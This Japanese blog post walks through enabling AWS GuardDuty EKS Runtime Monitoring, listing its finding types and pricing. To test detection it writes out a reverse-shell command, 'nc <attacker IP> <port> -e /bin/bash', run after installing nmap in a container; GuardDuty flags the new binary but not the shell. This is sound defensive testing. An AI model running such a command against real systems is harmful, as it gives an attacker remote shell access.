GuardDuty EKS Runtime Monitoring を有効化して検知させてみた

この記事は公開されてから1年以上経過しています。情報が古い可能性がありますので、ご注意ください。

EKS Runtime Monitoring について

GuardDuty の EKS Runtime Monitoring 機能が 2023 年 3 月に利用できるようになりました。
これまで AWS のコンテナ環境でランタイムアクティビティからの脅威検出を実現するためには、Aqua Security や Sysdig Secure といった 3rd Party 製品を利用する必要がありました。
今回のアップデートにより、 ランタイムの防御を AWS マネージドの機能で実現することが可能になりました。(現時点では EKS on EC2 のみ利用可能になります)
導入も簡単で、エージェントを自動的に管理する機能を有効化することで必要なリソースを自動でデプロイすることが可能です。 
ただ、VPC Endpoint 等が自動で作成されることになるので、全て IaC 側で管理したい場合等は自動管理機能をオフにすることも可能です。
その場合のセットアップについては下記ブログを参照下さい。

利用できる Findings(2023/04/25 時点)

利用可能な Findings は下記になります。
バックドアやトロイの木馬が疑われることの検知、権限昇格や Reverse Shell の疑いがあることの検知など幅広く対応しています。

  • CryptoCurrency:Runtime/BitcoinTool.B
  • Backdoor:Runtime/C&CActivity.B
  • UnauthorizedAccess:Runtime/TorRelay
  • UnauthorizedAccess:Runtime/TorClient
  • Trojan:Runtime/BlackholeTraffic
  • Trojan:Runtime/DropPoint
  • CryptoCurrency:Runtime/BitcoinTool.B!DNS
  • Backdoor:Runtime/C&CActivity.B!DNS
  • Trojan:Runtime/BlackholeTraffic!DNS
  • Trojan:Runtime/DropPoint!DNS
  • Trojan:Runtime/DGADomainRequest.C!DNS
  • Trojan:Runtime/DriveBySourceTraffic!DNS
  • Trojan:Runtime/PhishingDomainRequest!DNS
  • Impact:Runtime/AbusedDomainRequest.Reputation
  • Impact:Runtime/BitcoinDomainRequest.Reputation
  • Impact:Runtime/MaliciousDomainRequest.Reputation
  • Impact:Runtime/SuspiciousDomainRequest.Reputation
  • UnauthorizedAccess:Runtime/MetadataDNSRebind
  • Execution:Runtime/NewBinaryExecuted
  • PrivilegeEscalation:Runtime/DockerSocketAccessed
  • PrivilegeEscalation:Runtime/RuncContainerEscape
  • PrivilegeEscalation:Runtime/CGroupsReleaseAgentModified
  • Execution:Runtime/ReverseShell
  • DefenseEvasion:Runtime/FilelessExecution
  • Impact:Runtime/CryptoMinerExecuted
  • Execution:Runtime/NewLibraryLoaded
  • PrivilegeEscalation:Runtime/ContainerMountsHostDirectory
  • PrivilegeEscalation:Runtime/UserfaultfdUsage

EKS Runtime Monitoring finding types

料金について

GuardDuty の機能でよく採用されているトラフィック量による課金ではなく、vCPU 単位の課金になります。
そのため他機能より利用前の見積もりが実施しやすいかと思います。

最初の 500 個の vCPU /月 (監視対象の EKS インスタンスの場合) vCPU あたり 1.50USD
次の 4,500 個の vCPU /月 (監視対象の EKS インスタンスの場合) vCPU あたり 0.75USD
5,000 個以上の vCPU /月 (監視対象の EKS インスタンスの場合) vCPU あたり 0.25USD
Amazon GuardDuty の料金

他機能と同様に 30 日トライアルもあるので、気軽に試してみることも可能です。

有効化

EKS ランタイムモニタリングエージェントを自動的に管理するにチェックを入れるだけです。
これだけで必要なリソースが自動でデプロイされます。

検知させてみた

Nginx がデプロイされている環境に侵入されたことを想定して、コンテナ内で ncat をインストールして Reverse Shell を試行してみました。

apt update
apt-get install nmap
nc <攻撃者の IP アドレス> <攻撃者が待ち受けているポート> -e /bin/bash

こちらに対して Execution:Runtime/NewBinaryExecuted が検知されました。
新しくインストールしたバイナリを実行したため、検知されたようです。

This finding informs you that a newly created or a recently modified binary file in a container was executed. It is the best practice to keep containers immutable at runtime, and binary files, scripts, or libraries should not be created or modified during the lifetime of the container. It is highly suspicious that the newly created binaries were executed in the container environment. This behavior is indicative of a malicious actor that has gained access to the workload, and has downloaded and executed malware or other software as part of the potential compromise. The runtime agent monitors events from multiple resource types. To identify the potentially compromised resource, view Resource type in the findings panel in the GuardDuty console.
Execution:Runtime/NewBinaryExecuted

どのコンテナで検知されたか実行ユーザーが確認可能です。

Execution:Runtime/ReverseShell は検知してくれなかったので単に接続を確立するだけではなく何か特徴的な行動をしないといけないのかもしれません。(どのような挙動をすると検知するかは公開されておらず、なかなか検知しなかったので諦めました...)
ただ、コンテナに新しくインストールされたバイナリ実行を検知するだけでもかなり安心感があります。

まとめ

ランタイムアクティビティから脅威検知をするという今までは一苦労だった内容が、簡単に実現できて感動しました。
イメージスキャン等を活用して脆弱性を生まないように作り込んでも、ゼロデイ脆弱性等は存在します。
ECR のイメージスキャンや監査ログの脅威検知と組み合わせて EKS Runtime Monitoring を利用することで、よりセキュアにコンテナ環境を利用できるようになります。
簡単に有効化できるので、気になる方は是非試してみて下さい!